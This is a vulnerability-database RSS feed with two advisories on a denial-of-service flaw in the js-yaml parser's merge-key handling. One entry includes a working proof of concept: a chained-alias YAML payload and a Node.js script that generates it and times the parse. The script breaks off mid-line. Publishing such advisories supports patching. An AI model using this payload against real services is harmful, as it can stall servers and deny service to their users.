<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 15:07:32 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-53550 — js-yaml: Quadratic-complexity DoS in merge key handling via repeated aliases</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-53550</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; nodeca js-yaml&lt;/p&gt;
&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. Prior to 4.2.0 and 3.15.0, a crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (&amp;lt;&amp;lt;) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. The issue is in merge handling inside lib/loader.js. This vulnerability is fixed in 4.2.0 and 3.15.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; nodeca js-yaml&lt;/p&gt;
&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. Prior to 4.2.0 and 3.15.0, a crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (&amp;lt;&amp;lt;) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. The issue is in merge handling inside lib/loader.js. This vulnerability is fixed in 4.2.0 and 3.15.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-53550</guid>
    </item>
    <item>
      <title>GHSA-52cp-r559-cp3m — js-yaml: YAML merge-key chains can force quadratic CPU consumption</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-52cp-r559-cp3m</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: js-yaml&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:&lt;/p&gt;
&lt;p&gt;```yaml
a0: &amp;amp;a0 { k0: 0 }
a1: &amp;amp;a1 { &amp;lt;&amp;lt;: *a0, k1: 1 }
a2: &amp;amp;a2 { &amp;lt;&amp;lt;: *a1, k2: 2 }
a3: &amp;amp;a3 { &amp;lt;&amp;lt;: *a2, k3: 3 }
...
b: *aN
```&lt;/p&gt;
&lt;p&gt;For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;From N = 4000 delay become &amp;gt; 1s (doc size &amp;lt; 100K)&lt;/p&gt;
&lt;p&gt;```js
import { performance } from &amp;#39;node:perf_hooks&amp;#39;
import { Buffer } from &amp;#39;node:buffer&amp;#39;
import { load, YAML11_SCHEMA } from &amp;#39;js-yaml&amp;#39;&lt;/p&gt;
&lt;p&gt;const n = Number(process.argv[2] || 4000)&lt;/p&gt;
&lt;p&gt;function makeMergeChain (count) {
  const lines = [&amp;#39;a0: &amp;amp;a0 { k0: 0 }&amp;#39;]&lt;/p&gt;
&lt;p&gt;for (let i = 1; i &amp;lt; count; i++) {
    lines.push(`a${i}: &amp;amp;a${i} { &amp;lt;&amp;lt;: *a${i - 1}, k${i}: ${i} }`)
  }&lt;/p&gt;
&lt;p&gt;lines.push(`b: *a${count - 1}`)
  return `${lines.join(&amp;#39;\n&amp;#39;)}\n`
}&lt;/p&gt;
&lt;p&gt;const source = makeMergeChain(n)&lt;/p&gt;
&lt;p&gt;console.log(source.split(&amp;#39;\n&amp;#39;).slice(0, 8).join(&amp;#39;\n&amp;#39;))
console.log(&amp;#39;...&amp;#39;)
console.log(source.split(&amp;#39;\n&amp;#39;).slice(-4).join(&amp;#39;\n&amp;#39;))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)&lt;/p&gt;
&lt;p&gt;const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started&lt;/p&gt;
&lt;p&gt;console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${O…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: js-yaml&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:&lt;/p&gt;
&lt;p&gt;```yaml
a0: &amp;amp;a0 { k0: 0 }
a1: &amp;amp;a1 { &amp;lt;&amp;lt;: *a0, k1: 1 }
a2: &amp;amp;a2 { &amp;lt;&amp;lt;: *a1, k2: 2 }
a3: &amp;amp;a3 { &amp;lt;&amp;lt;: *a2, k3: 3 }
...
b: *aN
```&lt;/p&gt;
&lt;p&gt;For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;From N = 4000 delay become &amp;gt; 1s (doc size &amp;lt; 100K)&lt;/p&gt;
&lt;p&gt;```js
import { performance } from &amp;#39;node:perf_hooks&amp;#39;
import { Buffer } from &amp;#39;node:buffer&amp;#39;
import { load, YAML11_SCHEMA } from &amp;#39;js-yaml&amp;#39;&lt;/p&gt;
&lt;p&gt;const n = Number(process.argv[2] || 4000)&lt;/p&gt;
&lt;p&gt;function makeMergeChain (count) {
  const lines = [&amp;#39;a0: &amp;amp;a0 { k0: 0 }&amp;#39;]&lt;/p&gt;
&lt;p&gt;for (let i = 1; i &amp;lt; count; i++) {
    lines.push(`a${i}: &amp;amp;a${i} { &amp;lt;&amp;lt;: *a${i - 1}, k${i}: ${i} }`)
  }&lt;/p&gt;
&lt;p&gt;lines.push(`b: *a${count - 1}`)
  return `${lines.join(&amp;#39;\n&amp;#39;)}\n`
}&lt;/p&gt;
&lt;p&gt;const source = makeMergeChain(n)&lt;/p&gt;
&lt;p&gt;console.log(source.split(&amp;#39;\n&amp;#39;).slice(0, 8).join(&amp;#39;\n&amp;#39;))
console.log(&amp;#39;...&amp;#39;)
console.log(source.split(&amp;#39;\n&amp;#39;).slice(-4).join(&amp;#39;\n&amp;#39;))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)&lt;/p&gt;
&lt;p&gt;const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started&lt;/p&gt;
&lt;p&gt;console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${O…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-52cp-r559-cp3m</guid>
    </item>
  </channel>
</rss>
